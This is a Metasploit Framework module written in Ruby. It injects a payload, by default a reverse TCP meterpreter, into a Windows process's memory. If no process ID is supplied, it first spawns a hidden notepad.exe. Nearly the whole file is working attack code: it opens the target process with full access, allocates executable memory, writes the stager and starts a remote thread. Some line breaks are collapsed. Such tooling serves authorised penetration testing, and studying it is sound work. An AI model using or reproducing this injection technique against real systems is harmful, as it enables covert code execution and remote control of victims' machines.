### ## This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
def initialize(info={})
super( update_info( info,'Name'=> 'Windows Manage Memory Payload Injection','Description' => %q{
This module will inject a payload into memory of a process.If a payload
isn't selected, then it'll default to a reverse x86 TCP meterpreter.If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.},'License' => MSF_LICENSE,'Author'=>
['Carlos Perez <carlos_perez[at]darkoperator.com>','sinn3r'],'Platform'=> ['win'],'SessionTypes'=> ['meterpreter'],'Targets' => [['Windows',{}]],'DefaultTarget' => 0,'DisclosureDate'=> "Oct 12 2011"))
register_options([
OptInt.new('PID',[false,'Process Identifier to inject of process to inject payload.']),
OptBool.new('NEWPROCESS',[false,'New notepad.exe to inject to', false])], self.class)end# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}")if not sysinfo.nil?
pid = get_pid
if not pid
print_error("Unable to get a proper PID")returnendif @payload_arch.first =~ /64/ and client.platform =~ /x86/
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
print_error("Migrate to an x64 process and try again.")return false
else
inject_into_pid(pid)endend# Figures out which PID to inject to
def get_pid
pid = datastore['PID']if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
print_status("Launching notepad.exe...")
pid = create_temp_proc
endreturn pid
end# Determines if a PID actually exists
def has_pid?(pid)
procs = []begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")return false
end
pids = []
procs.each do|p|
found_pid = p['pid']return true if found_pid == pid
end
print_error("PID #{pid.to_s} does not actually exist.")return false
end# Checks the Architeture of a Payload and PID are compatible# Returns true if they are false if they are not
def arch_check(pid)# get the pid arch
client.sys.process.processes.each do|p|# Check Payload Archif pid == p["pid"]
vprint_status("Process found checking Architecture")if @payload_arch.first == p['arch']
vprint_good("Process is the same architecture as the payload")return true
else
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")return false
endendendend# Creates a temp notepad.exe to inject payload in to given the payload# Returns process PID
def create_temp_proc()
windir = client.fs.file.expand_path("%windir%")# Select path of executable to run depending the architectureif @payload_arch.first== "x86" and client.platform =~ /x86/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
cmd = "#{windir}\\SysWOW64\\notepad.exe"endbegin
proc = client.sys.process.execute(cmd, nil,{'Hidden' => true })
rescue Rex::Post::Meterpreter::RequestError
return nil
endreturn proc.pid
end
def inject_into_pid(pid)
vprint_status("Performing Architecture Check")returnif not arch_check(pid)begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.generate
print_status("Opening process #{pid.to_s}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)if not host_process
print_error("Unable to open #{pid.to_s}")returnend
print_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(raw.length +(raw.length % 1024))# Ensure memory is set for execution
host_process.memory.protect(mem)
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_good("Successfully injected payload in to process: #{pid}")
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to inject payload:")
print_line(e.to_s)endendend